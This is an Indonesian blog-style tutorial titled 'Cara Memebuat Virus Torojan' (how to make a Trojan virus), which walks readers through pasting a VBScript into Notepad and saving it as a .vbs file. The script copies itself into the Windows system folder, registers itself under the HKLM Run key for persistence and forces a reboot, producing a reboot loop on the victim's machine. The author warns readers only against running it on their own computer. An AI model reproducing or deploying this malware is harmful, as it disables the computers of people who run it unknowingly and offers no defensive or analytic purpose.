Cara Memebuat Virus Torojan

Nama Aslinya Trojan Horse Kalo Mau Penjelasannya Klik Pengertian Virus  , Dan Seperti Komputer Saya Ini Penuh Virus Worm  , Sengaja Biar Jadi Pabrik Virus ckckck , Oke Begini Cara Membuatnya Mudah Kok Notepad Lagi hoho . 

1. Buka Notepad | All Program > Notepad 

2. Copy Dan Pate Script Berikut Ke Notepad !

set FSobj=CreateObject(“Scripting.FileSystemObject”)set sysDir = FSobj.GetSpecialFolder(1)createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”sub createRegKey(regKey,regVal)set regEdit = CreateObject(“WScript.Shell”)regEdit.RegWrite regKey,regValend subset generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)generateCopy.closeset newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)setFile()fixedCode=replace(fileData,chr(94),”"”")set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)procreateCopy.write fixedCodeprocreateCopy.closerebootSystem()function setFile()fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _“strComputer = ^.^ ” &vbcrlf& _“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _“ObjOperatingSystem.Reboot()” &vbcrlf& _“Next”end functionfunction rebootSystem()strComputer = “.”Set objWMIService = GetObject(“winmgmts:” _& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)Set colOperatingSystems = objWMIService.ExecQuery _(“Select * from Win32_OperatingSystem”)For Each objOperatingSystem in colOperatingSystemsObjOperatingSystem.Reboot()Nextend function 

3.Kalau Sudah Simpah Filenya Dengan Extensi .VBS contoh pucukmaya.VBS ,Nyimpennya Harus All Files 

4. Jangan Di Klik kalau Itu Komputer Pribadi Gw Gak Tanggung Jawab Kalau Keluar 1000 File Aneh